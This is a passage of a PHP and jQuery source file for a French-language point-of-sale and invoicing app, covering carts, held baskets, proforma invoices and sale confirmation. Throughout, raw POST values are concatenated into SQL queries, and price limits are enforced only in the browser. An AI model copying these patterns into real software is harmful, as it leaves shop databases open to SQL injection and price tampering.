OR A.designation_article LIKE '".$search_item."' ORDER BY SA.date_peremption "); ?> <input type="hidden" id="qte_prise" value="<?php echo $qty_taken;?>"/> <input type="hidden" id="prix" id="prix" value="<?php echo $type_prix;?>"/> <input type="hidden" id="type_fact" name="type_fact" value="<?php echo $type_fact;?>"/> <table class="table table-condensed table-striped table-hover" width='100%'> <tr> <th>Article</th> <th>Peremption </th> <th>Qte Dispo</th> <th>P U</th> <th></th> </tr> <?php while($rs=$sql->fetch()) { ?> <tr class="item" id="line_item<?php echo $rs['code_stock']?>"> <td><?php echo $rs['designation_article'];?> </td> <td><?php echo $rs['date_peremption'];?></td> <td><?php echo $rs['qte_input'];?></td> <td><?php echo $rs[$type_prix];?></td> <td> <button type="button" class="btn btn-primary"><i class="icon mdi mdi-shopping-cart-plus"></i></button> </td> </tr> <?php } ?> </table> <script type="text/javascript"> $(".item").click(function(){ var compteur=this.id, code_stock=compteur, qty_taken = $("#qty_taken").val(), type_prix = $("#type_prix").val(), type_fact = $("#type_fact").val(), type="charger_le_panier"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_stock:code_stock,qty_taken:qty_taken,type_prix:type_prix,type_fact:type_fact,type:type}, beforeSend:function(){ $('.notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); $('#facture_en_cours').html('<center><img src="images/loaders/loader18.gif" alt="Patienter" width="50%"></center>'); }, success:function(data){ $('#facture_en_cours').html(data); $('.notification-rep').html(""); } }); }); </script><?php } else if($type_fact==" bar_code"){ } } else if($type=="search_item_proforma") { $qty_taken = $_POST['qty_taken']; $type_prix = $_POST['type_prix']; $type_fact = $_POST['type_fact']; $search_item = '%'.$_POST['search_item'].'%'; if($type_fact=="clavier"){ $sql=$bd->query("SELECT * FROM article A NATURAL JOIN categorie_article C WHERE C.categorie LIKE '".$search_item."' OR A.designation_article LIKE '".$search_item."' ORDER BY designation_article"); ?> <input type="hidden" id="qte_prise" value="<?php echo $qty_taken;?>"/> <input type="hidden" id="prix" id="prix" value="<?php echo $type_prix;?>"/> <input type="hidden" id="type_fact" name="type_fact" value="<?php echo $type_fact;?>"/> <table class="table table-condensed table-striped table-hover" width='100%'> <tr> <th>Article</th> <th>Unité mesure </th> <th>P U</th> <th></th> </tr> <?php while($rs=$sql->fetch()) { ?> <tr class="item" id="line_item<?php echo $rs['code_article']?>"> <td><?php echo $rs['designation_article'];?> </td> <td><?php echo $rs['unite_mesure'];?></td> <td><?php echo $rs[$type_prix];?></td> <td> <button type="button" class="btn btn-primary"><i class="icon mdi mdi-shopping-cart-plus"></i></button> </td> </tr> <?php } ?> </table> <script type="text/javascript"> $(".item").click(function(){ var compteur=this.id, code_article=compteur, qty_taken = $("#qty_taken").val(), type_prix = $("#type_prix").val(), type_fact = $("#type_fact").val(), type="charger_le_panier_pro"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_article:code_article,qty_taken:qty_taken,type_prix:type_prix,type_fact:type_fact,type:type}, beforeSend:function(){ $('.notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); $('#facture_en_cours').html('<center><img src="images/loaders/loader18.gif" alt="Patienter" width="50%"></center>'); }, success:function(data){ $('#facture_en_cours').html(data); $('.notification-rep').html(""); } }); }); </script><?php } else if($type_fact==" bar_code"){ } } else if($type=="charger_le_panier") { $type_fact=$_POST['type_fact']; if($type_fact=="clavier"){ $code_stock=preg_replace("#line_item#","",$_POST['code_stock']); $qte=$_POST['qty_taken']; $typrix=addslashes($_POST['type_prix']); $qst1=$bd->query("SELECT * FROM stock_article NATURAL JOIN article WHERE code_stock = ".$code_stock." AND qte_input >= ".$qte." ORDER BY code_stock "); if($qst1->rowCount()>0) { $rep1=$qst1->fetch(); $article=$rep1['code_article']; $prix=$rep1[$typrix]; $total=$prix * $qte; $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $bd->exec("INSERT INTO panier VALUE(null,".$article.",".$qte.",".$prix.",".$total.",".$code_stock.",".$code_guichet.",'".$username."')"); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking| Faturation', text:'Le panier du client vient d\'etre mis à jour !', class_name:'color dark', time:'5000'}); $(".champf").val(""); $("#liste_items").html(""); </script> <?php } else { } } else if($type_fact=="bar_code"){ } ?> <table class="table table-condensed table-bordered table-hover" style="font-size:12px;"> <tbody> <tr> <th> Article </th> <th> Qté </th> <th> Unité </th> <th class="number"> PU $</th> <th class="number"> PU Fc</th> <th class="number"> Tot. </th> <th></th> </tr> <?php $qst=$bd->query("SELECT * ,SUM(qte) qte, SUM(total) total FROM ( panier P NATURAL JOIN stock_article SA ) INNER JOIN article A ON P.article = A.code_article WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$_SESSION['cd_gui']." GROUP BY article"); $i=0; while($rep=$qst->fetch()) { $i++; ?> <tr id="line_art<?php echo $rep['code_article'];?>"> <td> <?php echo $rep['designation_article'];?> </td> <td> <?php echo $rep['qte'];?> </td> <td> <?php echo $rep['unite_mesure'];?> </td> <td class="price" id="price<?php echo $rep['code_article'];?>"> <input type="hidden" id="up_price<?php echo $rep['code_article'];?>" value="<?php echo $rep['prix_unit_detail'];?>"> <input type="hidden" id="down_price<?php echo $rep['code_article'];?>" value="<?php echo $rep['prix_unit_casse'];?>"> <span id="a_price<?php echo $rep['code_article'];?>"><?php echo number_format($rep['prix'],"2","."," ");?></span> <span id="c_price<?php echo $rep['code_article'];?>" class="hidden"><input type="number" id="new_price<?php echo $rep['code_article'];?>" value="<?php echo number_format($rep['prix'],"4",".","");?>" autocomplete="off" style="width:80px"> <a class="btn btn-success"><i class="mdi mdi-check btn_new_price" id="_price<?php echo $rep['code_article'];?>"></i></a></span> </td> <td class="number"> <?php echo number_format(($rep['prix'] * $taux_change),"0","."," ");?> </td> <td class="number"> <?php echo number_format(($rep['total'] * $taux_change),"0","."," ");?> </td> <td class="actions"><a href="#" class="icon line_fact_art" id="line_fact_art<?php echo $rep['code_article'];?>"><i class="text-danger mdi mdi-delete"></i></a></td> </tr> <?php } ?> </tbody><?php $tot=$bd->query("SELECT SUM(Total) tout_tot FROM panier WHERE username = '".$_SESSION['username']."' AND code_guichet = ".$_SESSION['cd_gui']." "); $tou=$tot->fetch(); $tout_tot=round($tou['tout_tot'],2); $tot_dol= $tout_tot; $tot_fr= $tot_dol * $taux_change; ?> <tfoot> <tr><td colspan=5></td></tr> <tr> <th> Total à Payer </th> <th class="number" colspan=3> <?php echo number_format($tot_dol,"2","."," "); ?> $</th> <th class="number" colspan=3> <?php echo number_format($tot_fr,"0","."," "); ?> FC</th> </tr> </tfoot> </table> <script type="text/javascript"> $("#box4").html('<?php echo number_format($tot_dol,"2","."," ")." $"; ?>'); $(".line_fact_art").click(function(e){ var compteur=this.id, code_panier = compteur, type="delete_line_art"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_panier:code_panier,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); } }); }); /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++ REDUCTION DE PRIX SUR LE PANIER ++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */ $(".price").dblclick(function(e){ var compteur=this.id, panier_client = compteur, up = $("#up_"+compteur).val(), down = $("#down_"+compteur).val(); $("#a_"+compteur).addClass("hidden"); $("#c_"+compteur).removeClass("hidden"); }); $(".btn_new_price").click(function(e){ var compteur=this.id, prix = parseFloat($("#new"+compteur).val()), up = parseFloat($("#up"+compteur).val()), down = parseFloat($("#down"+compteur).val()), code_article = compteur, type="price_changer"; if(prix > up){ $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Facturation",text:"Le prix unitaire que vous entrez depasse la limite ! "+up,class_name:"color danger",time:"6000"}); } else if(prix < down){ $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Facturation",text:"Le prix unitaire que vous entrez est inferieur à la limite "+down,class_name:"color danger",time:"6000"}); } else{ $.ajax({ url: 'fonction/save.php', type: 'POST', data: {prix:prix,code_article:code_article,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); refresh_sections(); // refresh_cash(); } }); } }); </script> <?php } else if($type=="charger_le_panier_pro") { $type_fact=$_POST['type_fact']; if($type_fact=="clavier"){ $code_article=preg_replace("#line_item#","",$_POST['code_article']); $qte=$_POST['qty_taken']; $typrix=addslashes($_POST['type_prix']); $qst1=$bd->query("SELECT * FROM article WHERE code_article = ".$code_article." ORDER BY code_article "); if($qst1->rowCount()>0) { $rep1=$qst1->fetch(); $article=$rep1['code_article']; $prix=$rep1[$typrix]; $total=$prix * $qte; $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $bd->exec("INSERT INTO panier_proforma VALUE(null,".$article.",".$qte.",".$prix.",".$total.",0,".$code_guichet.",'".$username."','')"); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking| Faturation', text:'Le panier du client vient d\'etre mis à jour !', class_name:'color dark', time:'5000'}); $(".champf").val(""); $("#liste_items").html(""); </script> <?php } else { } } else if($type_fact=="bar_code"){ } ?> <table class="table table-condensed table-bordered table-hover" style="font-size:12px;"> <tbody> <tr> <th> Article </th> <th> Qté </th> <th> Unité </th> <th class="number"> PU $</th> <th class="number"> PU Fc</th> <th class="number"> Tot. </th> <th></th> </tr> <?php $qst=$bd->query("SELECT * ,SUM(qte) qte, SUM(total) total FROM ( panier_proforma P ) INNER JOIN article A ON P.article = A.code_article WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$_SESSION['cd_gui']." AND P.client = '' GROUP BY article"); $i=0; while($rep=$qst->fetch()) { $i++; ?> <tr id="line_art<?php echo $rep['code_article'];?>"> <td> <?php echo $rep['designation_article'];?> </td> <td> <?php echo $rep['qte'];?> </td> <td> <?php echo $rep['unite_mesure'];?> </td> <td class="price" id="price<?php echo $rep['code_article'];?>"> <input type="hidden" id="up_price<?php echo $rep['code_article'];?>" value="<?php echo $rep['prix_unit_detail'];?>"> <input type="hidden" id="down_price<?php echo $rep['code_article'];?>" value="<?php echo $rep['prix_unit_casse'];?>"> <span id="a_price<?php echo $rep['code_article'];?>"><?php echo number_format($rep['prix'],"2","."," ");?></span> <span id="c_price<?php echo $rep['code_article'];?>" class="hidden"><input type="number" id="new_price<?php echo $rep['code_article'];?>" value="<?php echo number_format($rep['prix'],"4",".","");?>" autocomplete="off" style="width:80px"> <a class="btn btn-success"><i class="mdi mdi-check btn_new_price" id="_price<?php echo $rep['code_article'];?>"></i></a></span> </td> <td class="number"> <?php echo number_format(($rep['prix'] * $taux_change),"0","."," ");?> </td> <td class="number"> <?php echo number_format(($rep['total'] * $taux_change),"0","."," ");?> </td> <td class="actions"><a href="#" class="icon line_fact_art" id="line_fact_art<?php echo $rep['code_article'];?>"><i class="text-danger mdi mdi-delete"></i></a></td> </tr> <?php } ?> </tbody><?php $tot=$bd->query("SELECT SUM(Total) tout_tot FROM panier_proforma WHERE username = '".$_SESSION['username']."' AND code_guichet = ".$_SESSION['cd_gui']." AND client = ''"); $tou=$tot->fetch(); $tout_tot=round($tou['tout_tot'],2); $tot_dol= $tout_tot; $tot_fr= $tot_dol * $taux_change; ?> <tfoot> <tr><td colspan=5></td></tr> <tr> <th> Total à Payer </th> <th class="number" colspan=3> <?php echo number_format($tot_dol,"2","."," "); ?> $</th> <th class="number" colspan=3> <?php echo number_format($tot_fr,"0","."," "); ?> FC</th> </tr> </tfoot> </table> <script type="text/javascript"> $("#box4").html('<?php echo number_format($tot_dol,"2","."," ")." $"; ?>'); $(".line_fact_art").click(function(e){ var compteur=this.id, code_panier = compteur, type="delete_line_art"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_panier:code_panier,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); } }); }); </script> <?php } else if($type=="put_on_hold") { $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $nom_client=$_POST['nom_client']; $art=$bd->query("SELECT IFNULL(SUM(total),0) total_art FROM panier P WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$code_guichet.""); $cle=$art->fetch(); $total_fact=$cle['total_art']; if($total_fact > 0){ $qst1=$bd->query("SELECT * FROM panier P INNER JOIN article A ON P.article = A.code_article WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$code_guichet." "); while($rep=$qst1->fetch()) { $code_article=$rep['article']; $code_stock=$rep['code_stock']; $qte=$rep['qte']; $prix=$rep['prix']; $total=$rep['total']; $code_guichet=$rep['code_guichet']; $username=$rep['username']; $date_vente=date('Y-m-d'); $bd->exec("INSERT INTO panier_attente VALUE(null,".$code_article.",".$qte.",".$prix.",".$total.",".$code_stock.",".$code_guichet.",'".$username."','".$nom_client."')"); } $bd->exec("DELETE FROM panier WHERE username = '".$username."' AND code_guichet = ".$code_guichet." "); $bd->exec("DELETE FROM panier_serv WHERE username = '".$username."' AND code_guichet = ".$code_guichet." "); ?> <script type="text/javascript"> $('#notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Facturation",text:"La Facture a été mis en Attente avec succès!",class_name:"color primary",time:"6000"})); $("#nom_client").val(""); $("#box4").html('0.000 $'); $("#type_facturation").val(''); $("#code_res").val(''); $("#responsable_facture").html(" Client/PDV : .......... "); $("#client_pdv").html(""); </script> <?php } $panier=$bd->query("SELECT * FROM panier_attente WHERE code_guichet = '".$_SESSION['cd_gui']."' GROUP BY client"); if($panier->rowCount()>0){ $style="btn-danger";} else { $style="btn-default";} ?> <button type="button" data-toggle="dropdown" class="btn <?php echo $style;?> btn-rounded dropdown-toggle"><span class="icon mdi mdi-shopping-basket"> <?php echo $panier->rowCount(); ?> Facture(s) en Attente</span> <span class="icon-dropdown mdi mdi-chevron-down"></span></button> <ul role="menu" class="dropdown-menu"> <?php while($att=$panier->fetch()) { $pan=str_replace(" ","___",$att['client']); ?> <li><a class="btn basket_on_hold" id="basket_on_hold_<?php echo $pan;?>"><?php echo $att['client']; ?></a></li> <?php } ?> <li class="divider"></li> <li><a href="#" id="vider_panier_attente">Vider tous paniers en attente</a></li> </ul> <script type="text/javascript"> $("#vider_panier_attente").click(function(e){ var type="clear_basket"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(""); $('#pannier_en_attente').html(data); } }); }); $(".basket_on_hold").click(function(e){ var compteur=this.id, nom_client = $("#search_p_c").val(), panier_client = compteur, type="take_back"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {panier_client:panier_client,nom_client:nom_client,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#pannier_en_attente').html(data); $('#notification-rep').html(''); refresh_sections(); // refresh_cash(); } }); }); </script><?php } else if($type=="clear_basket") { $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $bd->exec("DELETE FROM panier_attente WHERE username = '".$username."' AND code_guichet = ".$code_guichet." "); ?> <script type="text/javascript"> $('#notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Panier - attente",text:"Tous les paniers en Attente viennent d'être vidés avec succès!",class_name:"color primary",time:"6000"})); // $("#nom_client").val(""); $("#box4").html('0.000 $'); </script> <?php $panier=$bd->query("SELECT * FROM panier_attente WHERE code_guichet = '".$_SESSION['cd_gui']."' GROUP BY client"); if($panier->rowCount()>0){ $style="btn-danger";} else { $style="btn-default";} ?> <button type="button" data-toggle="dropdown" class="btn <?php echo $style;?> btn-rounded dropdown-toggle"><span class="icon mdi mdi-shopping-basket"> <?php echo $panier->rowCount(); ?> Facture(s) en Attente</span> <span class="icon-dropdown mdi mdi-chevron-down"></span></button> <ul role="menu" class="dropdown-menu"> <?php while($att=$panier->fetch()) { $pan=str_replace(" ","___",$att['client']); ?> <li><a class="btn basket_on_hold" id="basket_on_hold_<?php echo $pan;?>"><?php echo $att['client']; ?></a></li> <?php } ?> <li class="divider"></li> <li><a href="#" id="vider_panier_attente">Vider tous paniers en attente</a></li> </ul> <script type="text/javascript"> $("#vider_panier_attente").click(function(e){ var type="clear_basket"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(""); $('#pannier_en_attente').html(data); } }); }); $(".basket_on_hold").click(function(e){ var compteur=this.id, nom_client = $("#search_p_c").val(), panier_client = compteur, type="take_back"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {panier_client:panier_client,nom_client:nom_client,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#pannier_en_attente').html(data); $('#notification-rep').html(''); refresh_sections(); // refresh_cash(); } }); }); </script><?php } else if($type=="take_back") { $panier_client = str_replace("basket_on_hold_","",str_replace("___"," ",$_POST['panier_client'])); $nom_client = $_POST['nom_client']; $qst=$bd->query("SELECT * FROM panier P WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$_SESSION['cd_gui']." "); if($qst->rowCount() > 0) { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Facturation",text:"Veuillez d'abord vider la Facture en-cours ou soit la mettre en attente avant de reprendre une facture en attente !",class_name:"color warning",time:"20000"}); </script> <?php } else if($qst->rowCount() == 0) { $basket=$bd->query("SELECT * FROM panier_attente WHERE code_guichet = '".$_SESSION['cd_gui']."' AND client = '".$panier_client."' "); while($rs=$basket->fetch()){ $article = $rs['article']; $qte = $rs['qte']; $prix = $rs['prix']; $total = $rs['total']; $code_stock = $rs['code_stock']; $code_guichet = $rs['code_guichet']; $username = $rs['username']; $client = $rs['client']; $bd->exec("INSERT INTO panier VALUE(null,".$article.",".$qte.",".$prix.",".$total.",".$code_stock.",".$code_guichet.",'".$username."')"); } $bd->exec("DELETE FROM panier_attente WHERE client = '".$panier_client."' "); ?> <script type="text/javascript"> $("#search_p_c").val('<?php echo $panier_client; ?>'); $("#type_facturation").val(''); $("#code_res").val(''); $("#responsable_facture").html(" Client/PDV : .......... "); $("#client_pdv").html(""); </script> <?php } $panier=$bd->query("SELECT * FROM panier_attente WHERE code_guichet = '".$_SESSION['cd_gui']."' GROUP BY client"); if($panier->rowCount()>0){ $style="btn-danger";} else { $style="btn-default";} ?> <button type="button" data-toggle="dropdown" class="btn <?php echo $style;?> btn-rounded dropdown-toggle"><span class="icon mdi mdi-shopping-basket"> <?php echo $panier->rowCount(); ?> Facture(s) en Attente</span> <span class="icon-dropdown mdi mdi-chevron-down"></span></button> <ul role="menu" class="dropdown-menu"> <?php while($att=$panier->fetch()) { $pan=str_replace(" ","___",$att['client']);?> <li><a class="btn basket_on_hold" id="basket_on_hold_<?php echo $pan;?>"><?php echo $att['client']; ?></a></li> <?php } ?> <li class="divider"></li> <li><a href="#" id="vider_panier_attente">Vider tous paniers en attente</a></li> </ul> <script type="text/javascript"> $("#vider_panier_attente").click(function(e){ var type="clear_basket"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(""); $('#pannier_en_attente').html(data); } }); }); $(".basket_on_hold").click(function(e){ var compteur=this.id, nom_client = $("#search_p_c").val(), panier_client = compteur, type="take_back"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {panier_client:panier_client,nom_client:nom_client,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#pannier_en_attente').html(data); $('#notification-rep').html(''); refresh_sections(); // refresh_cash(); } }); }); </script><?php } else if($type=="price_changer") { $code_article=preg_replace("#_price#","",$_POST['code_article']); $prix=$_POST['prix']; $qst=$bd->query("SELECT * FROM panier P WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$_SESSION['cd_gui']." AND article = '".$code_article."' "); while($rep=$qst->fetch()){ $code_panier = $rep['code_panier']; $qte = $rep['qte']; $total = $qte * $prix; $bd->exec("UPDATE panier SET prix = '".$prix."', total = '".$total."' WHERE article = '".$code_article."' "); } } else if($type=="confirmer_la_facturation") { $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $numero_facture=date('YmdHis').$_SESSION['username']; $type_crediteur=$_POST['type_facturation']; $nom_client=$_POST['code_res']; $art=$bd->query("SELECT IFNULL(SUM(total),0) total_art FROM panier P WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$code_guichet.""); $cle=$art->fetch(); $total_fact=$cle['total_art']; if($total_fact>0) { $bd->exec("INSERT INTO facture VALUE(NULL,'".$nom_client."',".$total_fact.",'".date('Y-m-d')."',".$taux_change.",'".$numero_facture."')"); $qst1=$bd->query("SELECT * FROM ( panier P NATURAL JOIN stock_article SA ) INNER JOIN article A ON P.article = A.code_article WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$code_guichet." "); while($rep=$qst1->fetch()) { $code_article=$rep['article']; $code_stock=$rep['code_stock']; $qte=$rep['qte']; $prix=$rep['prix']; $total=$rep['total']; $code_guichet=$rep['code_guichet']; $username=$rep['username']; $date_vente=date('Y-m-d'); $prix_achat=$rep['prix_achat']; $gain=($prix - $prix_achat)* $qte; $bd->exec("INSERT INTO resultat VALUE(null,".$code_article.",'".$date_vente."',".$prix_achat.",".$prix.",".$qte.",".$gain.")"); $bd->exec("INSERT INTO ventes VALUE(null,'".$numero_facture."',".$code_article.",".$qte.",".$prix.",".$total.",'".$date_vente."',".$code_guichet.",'".$username."')"); $bd->exec("UPDATE stock_article SET qte_input = qte_input - ".$qte." WHERE code_stock = ".$code_stock." "); } $bd->exec("DELETE FROM panier WHERE username = '".$username."' AND code_guichet= ".$code_guichet." ");?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Facturation",text:"Facturation effectuée avec succès!",class_name:"color primary",time:"6000"}); bill_print('<?php echo $numero_facture;?>'); $("#nom_client").val(''); $("#type_facturation").val(''); $("#code_res").val(''); $("#responsable_facture").html(" Client/PDV : .......... "); $("#client_pdv").html(""); </script> <?php } if($type_crediteur == "client" || $type_crediteur == "point_vente"){ if($type_crediteur=="client"){ $code_client=$nom_client; $code_pdv=0; }else if($type_crediteur=="point_vente"){ $code_client=0; $code_pdv=$nom_client; } $act=$bd->query("SELECT * FROM dettes WHERE numero_facture = '".$numero_facture."' "); if($act->rowCount()>0){ } else { $bd->exec("INSERT INTO dettes VALUE (null,".$total_fact.",'".$numero_facture."','".$code_client."','".$code_pdv."','".$type_crediteur."','".date('Y-m-d')."','non') "); ?> <script type="text/javascript">$('#notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | Facturation Credit",text:"Cette facture est considerer comme à payer plus tard !",class_name:"color primary",time:"6000"})); </script> <?php } } } else if($type=="confirmer_la_facturepro") { $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $numero_facture=date('YmdHis').$_SESSION['username']; $type_crediteur=$_POST['type_facturation']; $nom_client=$_POST['nom_client']; $art=$bd->query("SELECT IFNULL(SUM(total),0) total_art FROM panier_proforma P WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$code_guichet.""); $cle=$art->fetch(); $total_fact=$cle['total_art']; if($total_fact>0) { $bd->exec("INSERT INTO facture_proforma VALUE(NULL,'".$nom_client."',".$total_fact.",NOW(),".$taux_change.",'".$numero_facture."')"); $qst1=$bd->query("SELECT * FROM ( panier_proforma P ) INNER JOIN article A ON P.article = A.code_article WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$code_guichet." AND client ='' "); while($rep=$qst1->fetch()) { $code_article=$rep['article']; $code_panier=$rep['code_panier']; $qte=$rep['qte']; $prix=$rep['prix']; $total=$rep['total']; $code_guichet=$rep['code_guichet']; $username=$rep['username']; $date_vente=date('Y-m-d'); $prix_achat=$rep['prix_achat']; $gain=($prix - $prix_achat)* $qte; $bd->exec("UPDATE panier_proforma SET client = '".$numero_facture."' WHERE code_panier = ".$code_panier." "); } ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Facturation",text:"Facturation effectuée avec succès!",class_name:"color primary",time:"6000"}); proforma_print('<?php echo $numero_facture;?>'); $("#nom_client").val(''); </script> <?php } } else if($type=="refresh_panier") { ?> <table class="table table-condensed table-bordered table-hover" style="font-size:12px;"> <tbody> <tr> <th> Article </th> <th> Qté </th> <th> Unité </th> <th class="number"> PU $</th> <th class="number"> PU Fc</th> <th class="number"> Tot. </th> <th></th> </tr> <?php $qst=$bd->query("SELECT * ,SUM(qte) qte, SUM(total) total FROM ( panier P NATURAL JOIN stock_article SA ) INNER JOIN article A ON P.article = A.code_article WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$_SESSION['cd_gui']." GROUP BY article"); $i=0; while($rep=$qst->fetch()) { $i++; ?> <tr id="line_art<?php echo $rep['code_article'];?>"> <td> <?php echo $rep['designation_article'];?> </td> <td> <?php echo $rep['qte'];?> </td> <td> <?php echo $rep['unite_mesure'];?> </td> <td class="price" id="price<?php echo $rep['code_article'];?>"> <input type="hidden" id="up_price<?php echo $rep['code_article'];?>" value="<?php echo $rep['prix_unit_detail'];?>"> <input type="hidden" id="down_price<?php echo $rep['code_article'];?>" value="<?php echo $rep['prix_unit_casse'];?>"> <span id="a_price<?php echo $rep['code_article'];?>"><?php echo number_format($rep['prix'],"2","."," ");?></span> <span id="c_price<?php echo $rep['code_article'];?>" class="hidden"><input type="number" id="new_price<?php echo $rep['code_article'];?>" value="<?php echo number_format($rep['prix'],"4",".","");?>" autocomplete="off" style="width:80px"> <a class="btn btn-success"><i class="mdi mdi-check btn_new_price" id="_price<?php echo $rep['code_article'];?>"></i></a></span> </td> <td class="number"> <?php echo number_format(($rep['prix'] * $taux_change),"0","."," ");?> </td> <td class="number"> <?php echo number_format(($rep['total'] * $taux_change),"0","."," ");?> </td> <td class="actions"><a href="#" class="icon line_fact_art" id="line_fact_art<?php echo $rep['code_article'];?>"><i class="text-danger mdi mdi-delete"></i></a></td> </tr> <?php } ?> </tbody><?php $tot=$bd->query("SELECT SUM(Total) tout_tot FROM panier WHERE username = '".$_SESSION['username']."' AND code_guichet = ".$_SESSION['cd_gui']." "); $tou=$tot->fetch(); $tout_tot=round($tou['tout_tot'],2); $tot_dol= $tout_tot; $tot_fr= $tot_dol * $taux_change; ?> <tfoot> <tr><td colspan=5></td></tr> <tr> <th> Total à Payer </th> <th class="number" colspan=3> <?php echo number_format($tot_dol,"2","."," "); ?> $</th> <th class="number" colspan=3> <?php echo number_format($tot_fr,"0","."," "); ?> FC</th> </tr> </tfoot> </table> <script type="text/javascript"> $("#box4").html('<?php echo number_format($tot_dol,"2","."," ")." $"; ?>'); $(".line_fact_art").click(function(e){ var compteur=this.id, code_panier = compteur, type="delete_line_art"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_panier:code_panier,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); } }); }); $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking | Faturation', text:'Le panier du client vient d\'etre mis à jour !', class_name:'color dark', time:'5000'}); /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++ REDUCTION DE PRIX SUR LE PANIER ++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */ $(".price").dblclick(function(e){ var compteur=this.id, panier_client = compteur, up = $("#up_"+compteur).val(), down = $("#down_"+compteur).val(); $("#a_"+compteur).addClass("hidden"); $("#c_"+compteur).removeClass("hidden"); }); $(".btn_new_price").click(function(e){ var compteur=this.id, prix = parseFloat($("#new"+compteur).val()), up = parseFloat($("#up"+compteur).val()), down = parseFloat($("#down"+compteur).val()), code_article = compteur, type="price_changer"; if(prix > up){ $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Facturation",text:"Le prix unitaire que vous entrez depasse la limite! "+up,class_name:"color danger",time:"6000"}); } else if(prix < down){ $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Facturation",text:"Le prix unitaire que vous entrez est inferieur à la limite "+down,class_name:"color danger",time:"6000"}); } else{ $.ajax({ url: 'fonction/save.php', type: 'POST', data: {prix:prix,code_article:code_article,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); refresh_sections(); // refresh_cash(); } }); } }); </script> <?php } else if($type=="refresh_panier_pro") { ?> <table class="table table-condensed 